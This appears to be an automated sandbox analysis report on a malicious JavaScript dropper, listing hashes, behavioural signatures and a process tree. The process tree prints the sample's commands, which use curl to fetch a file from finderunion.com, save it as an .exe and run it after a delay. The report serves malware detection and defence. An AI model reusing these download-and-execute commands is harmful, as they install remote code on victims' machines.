Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-02-2024 03:26

General

  • Target

    97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71.js

  • Size

    37KB

  • MD5

    49573f1591b4da5b1132fe9e8b747251

  • SHA1

    ca4d9a37b2ee49d992b224cee529a9aeacba8b8d

  • SHA256

    97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71

  • SHA512

    6f60b772f4da827f96bae8fb7965410fcac40d13bd10ed9c47544a4af8c47f9d767f662d6893c100dff8f001c5eff9517c4dff5ab9733dbbf11c8dae2382dcdc

  • SSDEEP

    768:t9k/pgMvHqpp1o4WnZJRNQ8Fy1+Q+X29oLhNcZbuLiA0OM4QmQ4sMwl3TQlHP9sD:LYbHVzsTVkI

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2640
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl https://finderunion.com/CVv/0.47921429603410453.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2472
      • C:\Windows\system32\curl.exe
        curl https://finderunion.com/CVv/0.47921429603410453.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
        3⤵
          PID:3172
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.9039286600240028.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4692
        • C:\Windows\system32\curl.exe
          curl 0.9039286600240028.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
          3⤵
            PID:1776
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.13163049749366118.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2372
          • C:\Windows\system32\curl.exe
            curl 0.13163049749366118.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
            3⤵
              PID:5036
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.2560540856105832.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4948
            • C:\Windows\system32\curl.exe
              curl 0.2560540856105832.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
              3⤵
                PID:5024
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.2824070447658776.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4988
              • C:\Windows\system32\curl.exe
                curl 0.2824070447658776.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
                3⤵
                  PID:1960
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.7462144274155411.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:860
                • C:\Windows\system32\curl.exe
                  curl 0.7462144274155411.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
                  3⤵
                    PID:2232
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout 10 & C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4112
                  • C:\Windows\system32\timeout.exe
                    timeout 10
                    3⤵
                    • Delays execution with timeout.exe
                    PID:3692

              Network

              MITRE ATT&CK Enterprise v15

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              Downloads